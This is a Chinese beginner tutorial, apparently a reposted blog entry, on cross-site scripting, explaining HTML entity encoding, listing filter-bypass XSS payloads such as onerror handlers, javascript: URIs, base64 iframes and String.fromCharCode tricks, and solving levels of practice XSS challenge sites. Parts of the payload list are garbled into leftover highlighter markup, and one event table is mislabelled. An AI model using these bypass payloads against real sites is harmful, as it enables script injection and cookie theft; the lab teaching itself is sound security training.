网安入门18-XSS（靶场实战）

HTML实体化编码

为了避免 XSS 攻击，会将<>编码为<与>，这些就是 HTML 实体编码。

编码前	编码后
不可分的空格
< (小于符号)	`<`
> (大于符号)	`>`
& (与符号)	`&`
″ (双引号)	`"`
’ (单引号)	`'`
© (版权符号)	`©`

he.encode('') // "<img src=""></img>"
 
// 转义
he.escape('') // "<img src=""></img>"
1
2
3
4

常见的绕过payload

<img src="x" onerror=alert(1)>

<a href="javascript:alert(1)">baidua>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aaa>
<script>alert('xss')script>
<script>prompt('xss')script>


<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>iframe</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>iframe</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>javascript<span class="token entity named-entity" title=":">&colon;</span>prompt<span class="token entity named-entity" title="(">&lpar;</span>`xss`<span class="token entity named-entity" title=")">&rpar;</span><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>iframe</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>svg</span> <span class="token special-attr"><span class="token attr-name">onload</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token value javascript language-javascript"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></span></span></span><span class="token punctuation">></span></span>
<input name="name" value="" οnmοuseοver=prompt('xss') bad=“”>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>“hidden”</span> <span class="token attr-name">accesskey</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>“X”</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token value javascript language-javascript"><span class="token function">“alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>”</span></span></span><span class="token punctuation">></span></span>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,
111,107,105,101,41)) 适用于绕过黑名单 alert 在跨站中，String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测，把关键字或语句转换成为 ASCII 码，
然后再用 String.fromCharCode 还原，因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤，例如关键字 alert 被过滤掉，那就可以这么利用 alert(document.cookie)
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>img</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>1<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">onerror</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token value javascript language-javascript"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></span></span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>img</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>1<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">onerror</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token value javascript language-javascript">alert<span class="token operator">&</span>#<span class="token number">40</span><span class="token punctuation">;</span><span class="token number">1</span><span class="token operator">&</span>#<span class="token number">41</span><span class="token punctuation">;</span></span></span></span><span class="token punctuation">></span></span>（实体化()
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>img</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>1</span> <span class="token special-attr"><span class="token attr-name">onerror</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token value javascript language-javascript">alert<span class="token operator">&</span>#<span class="token number">40</span><span class="token operator">&</span>#<span class="token number">41</span></span></span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">\u0061\u006c\u0065\u0072\<span class="token function">u0074</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>
<img src="1" οnerrοr=location="javascript:alert(1)”>
<img src="1" οnerrοr=location="javascript:alert%281%29”>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://1000bd.com/contentImg/2022/06/27/191644837.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li></ul></pre> 
<h3><a name="t2"></a><a id="_49"></a>靶场实战（一）</h3> 
<p><a href="xssaq.com" rel="nofollow">欢迎来到XSS挑战</a></p> 
<h5><a id="Level_1_52"></a>Level 1</h5> 
<p>通过观察页面，猜测因该是一个传参name=test可以下手<br> <img src="https://1000bd.com/contentImg/2024/03/06/091249288.png" alt=""><br> 查看页面源代码<br> <img src="https://1000bd.com/contentImg/2024/03/06/091248615.png" alt=""><br> 从这里我们可以看到它将name的<a href="https://so.csdn.net/so/search?q=%E5%8F%82%E6%95%B0%E5%80%BC&spm=1001.2101.3001.7020" target="_blank" class="hl hl-1" data-report-view="{"spm":"1001.2101.3001.7020","dest":"https://so.csdn.net/so/search?q=%E5%8F%82%E6%95%B0%E5%80%BC&spm=1001.2101.3001.7020","extra":"{\"searchword\":\"参数值\"}"}" data-report-click="{"spm":"1001.2101.3001.7020","dest":"https://so.csdn.net/so/search?q=%E5%8F%82%E6%95%B0%E5%80%BC&spm=1001.2101.3001.7020","extra":"{\"searchword\":\"参数值\"}"}" data-tit="参数值" data-pretit="参数值">参数值</a>，插入到了<code><h2> </h2></code>标签之间，第一关没有过滤<br> <strong><code>payload：name=<script>alert('xss')</script></code></strong></p> 
<h5><a id="Level_2_60"></a>Level 2</h5> 
<p>一个搜索框，故技重施失败了，判断他有过滤<br> <img src="https://1000bd.com/contentImg/2024/03/06/091249046.png" alt=""><br> 查看源代码，上面一行是查询的回显，可以看到被实体化编码了，下面一行被双引号包裹<br> <img src="https://1000bd.com/contentImg/2024/03/06/091249132.png" alt=""><br> 上面的实体化编码无法绕过了，现在的目标转化为下面一行，那就是闭合！<br> <strong><code>payload: "><script>alert(1)</script>//</code><br> <code>或者 "><script>alert(1)</script><</code></strong></p> 
<blockquote> 
 <p>实测也可以不用注释后面的">，说明HTML属于弱类型，校验不严格，另外查看这关源代码，调用的函数是 htmlspecialchars() 它的作用就是让 < 和 > 被HTML实体化编码<br> <a href="w3school.com.cn" rel="nofollow">PHP htmlspecialchars() 函数</a></p> 
</blockquote> 
<h5><a id="Level_3_70"></a>Level 3</h5> 
<p>还是搜索框，故技重施x2，无果，看源代码<br> <img src="https://1000bd.com/contentImg/2024/03/06/091248931.png" alt=""><br> 这波看似没办法搞了，两边都被实体化了<br> <img src="https://1000bd.com/contentImg/2024/03/06/091249143.png" alt=""><br> 仔细一想，两个尖括号以及被ban掉，</p> 
<blockquote> 
 <p>特殊事件 onmouseover onclick onfocuse 的介绍链接：<br> <a href="runoob.com" rel="nofollow">HTML onmouseover 事件属性 | 菜鸟教程</a><br> <a href="runoob.com" rel="nofollow">HTML onclick 事件属性 | 菜鸟教程</a><br> <a href="runoob.com" rel="nofollow">HTML onfocus 事件属性 | 菜鸟教程</a></p> 
</blockquote> 
<div class="table-box"><table><thead><tr><th>函数</th><th>效果</th></tr></thead><tbody><tr><td>οnmοuseοver=alert(1)</td><td>鼠标指针移至图片之上时弹窗</td></tr><tr><td>οnclick=alert(1)</td><td>输入域获得焦点时弹窗</td></tr><tr><td>οnfοcus=alert(1)</td><td>单击鼠标时弹窗</td></tr></tbody></table></div> 
<p>还有一个问题就是闭合这两个引号，闭合前面的，注释或者闭合后面的，这里跟上一关的标签闭合不一样，是比较严格的，不闭合属性中的值会无法执行<br> <code>payload：' onmouseover=alert(1) //</code><br> <code>或者： ' onmouseover=alert(1) x='</code></p> 
<h3><a name="t3"></a><a id="_91"></a>靶场实战（二）</h3> 
<p><a href="https://xss.haozi.me/" rel="nofollow">alert(1)</a></p> 
<h5><a id="0x00_93"></a>0x00</h5> 
<p>啥也没有直接来吧<br> <img src="https://1000bd.com/contentImg/2024/03/06/091249360.png" alt=""></p> 
<h5><a id="0x01_96"></a>0x01</h5> 
<p>前面的<code><textarea></code>标签有个特性，无法创建其他标签，那就闭合掉<br> <img src="https://1000bd.com/contentImg/2024/03/06/091248774.png" alt=""></p> 
<h5><a id="0x02_99"></a>0x02</h5> 
<p>input标签，直接<code>onmouseover+闭合</code>连招，<br> 还有种方法是闭合+新开标签 <code>"> <script>alert(1)</script></code><br> 当然也可以用<code>"><img src="x" onerror="alert(1)"></code>也是很好用的<br> <img src="https://1000bd.com/contentImg/2024/03/06/091249202.png" alt=""></p> 
<h5><a id="0x03_104"></a>0x03</h5> 
<p>过滤了左右括号 （） 那就用反引号`绕过<br> <img src="https://1000bd.com/contentImg/2024/03/06/091249333.png" alt=""></p> 
<p></p>
                </div>
                    </div>
                </li>

                <li class="list-group-item ul-li">

                    <b>相关阅读:</b><br>
                    <nobr>
<a href="/Article/Index/1399917">互联网Java工程师面试题·Java 面试篇·第四弹</a>                            <br />
<a href="/Article/Index/1374583">finalize()方法什么时候被调用？析构函数(finalization)的目的是什么？</a>                            <br />
<a href="/Article/Index/1085739">LeetCode 1704. 判断字符串的两半是否相似：小难懂的代码</a>                            <br />
<a href="/Article/Index/1150980">Eigen Segmentation fault (core dumped)</a>                            <br />
<a href="/Article/Index/1108484">艾美捷测序级 II，纯化胰蛋白酶化验程序&amp;文献参考</a>                            <br />
<a href="/Article/Index/856103">Laravel 博客开发｜SEO 友好的 URL</a>                            <br />
<a href="/Article/Index/1398785">Fiber Golang：Golang中的强大Web框架</a>                            <br />
<a href="/Article/Index/1292517">X3E伺服转矩模式参数设置</a>                            <br />
<a href="/Article/Index/630496">短视频被替代的趋势-今抖云创</a>                            <br />
<a href="/Article/Index/1052191">datadog ebpf模块 offset-guess.o 问题排查解决</a>                            <br />
                    </nobr>
                </li>
                <li class="list-group-item from-a mb-2">
                    原文地址：https://blog.csdn.net/m0_61499194/article/details/136313868
                </li>

            </ul>
        </div>

        <div class="col-lg-4 col-sm-12">
            <ul class="list-group" style="word-break:break-all;">
                <li class="list-group-item ul-li-bg" aria-current="true">
                    最新文章
                </li>
                <li class="list-group-item ul-li">
                    <nobr>
<a href="/Article/Index/1484446">攻防演习之三天拿下官网站群</a>                            <br />
<a href="/Article/Index/1515268">数据安全治理学习——前期安全规划和安全管理体系建设</a>                            <br />
<a href="/Article/Index/1759065">企业安全 | 企业内一次钓鱼演练准备过程</a>                            <br />
<a href="/Article/Index/1485036">内网渗透测试 | Kerberos协议及其部分攻击手法</a>                            <br />
<a href="/Article/Index/1877332">0day的产生 | 不懂代码的&quot;代码审计&quot;</a>                            <br />
<a href="/Article/Index/1887576">安装scrcpy-client模块av模块异常，环境问题解决方案</a>                            <br />
<a href="/Article/Index/1887578">leetcode hot100【LeetCode 279. 完全平方数】java实现</a>                            <br />
<a href="/Article/Index/1887512">OpenWrt下安装Mosquitto</a>                            <br />
<a href="/Article/Index/1887520">AnatoMask论文汇总</a>                            <br />
<a href="/Article/Index/1887496">【AI日记】24.11.01 LangChain、openai api和github copilot</a>                            <br />
                    </nobr>
                </li>
            </ul>

            <ul class="list-group pt-2" style="word-break:break-all;">
                <li class="list-group-item ul-li-bg" aria-current="true">
                    热门文章
                </li>
                <li class="list-group-item ul-li">
                    <nobr>
<a href="/Article/Index/888177">十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧！！！</a>                            <br />
<a href="/Article/Index/797680">奉劝各位学弟学妹们，该打造你的技术影响力了！</a>                            <br />
<a href="/Article/Index/888183">五年了，我在 CSDN 的两个一百万。</a>                            <br />
<a href="/Article/Index/888179">Java俄罗斯方块，老程序员花了一个周末，连接中学年代！</a>                            <br />
<a href="/Article/Index/797730">面试官都震惊，你这网络基础可以啊！</a>                            <br />
<a href="/Article/Index/797725">你真的会用百度吗？我不信 — 那些不为人知的搜索引擎语法</a>                            <br />
<a href="/Article/Index/797702">心情不好的时候，用 Python 画棵樱花树送给自己吧</a>                            <br />
<a href="/Article/Index/797709">通宵一晚做出来的一款类似CS的第一人称射击游戏Demo！原来做游戏也不是很难，连憨憨学妹都学会了！</a>                            <br />
<a href="/Article/Index/797716">13 万字 C 语言从入门到精通保姆级教程2021 年版</a>                            <br />
<a href="/Article/Index/888192">10行代码集2000张美女图，Python爬虫120例，再上征途</a>                            <br />
                    </nobr>
                </li>
            </ul>

        </div>
    </div>
</div>
<!-- 主体 -->


    <!--body结束-->
    <!--这里是footer模板-->
    
    <!--footer-->
<nav class="navbar navbar-inverse navbar-fixed-bottom">
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="text-muted center foot-height">
                    Copyright&nbsp;©&nbsp;2022&nbsp;侵权请联系<a href="mailto:2656653265@qq.com">2656653265@qq.com</a> &nbsp;&nbsp;
                    <a href="https://beian.miit.gov.cn/" target="_blank">京ICP备2022015340号-1</a>
                </div>
                <div style="width:300px;margin:0 auto; padding:0px 5px;">
                    <a href="/regex.html">正则表达式工具</a>
                    <a href="/cron.html">cron表达式工具</a>
                    <a href="/pwdcreator.html">密码生成工具</a>
                </div>
                <div style="width:300px;margin:0 auto; padding:5px 0;">
                    <a target="_blank" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=11010502049817" style="display:inline-block;text-decoration:none;height:20px;line-height:20px;">
                    <img src="" style="float:left;" /><p style="float:left;height:20px;line-height:20px;margin: 0px 0px 0px 5px; color:#939393;">京公网安备 11010502049817号</p></a>
                </div>
            </div>
        </div>
    </div>
  
</nav>
<!--footer-->

    <!--footer模板结束-->

    <script src="/js/plugins/jquery/jquery.js"></script>
    <script src="/js/bootstrap.min.js"></script>

    <!--这里是scripts模板-->
    

    
 


    <!--scripts模板结束-->

</body>
</html>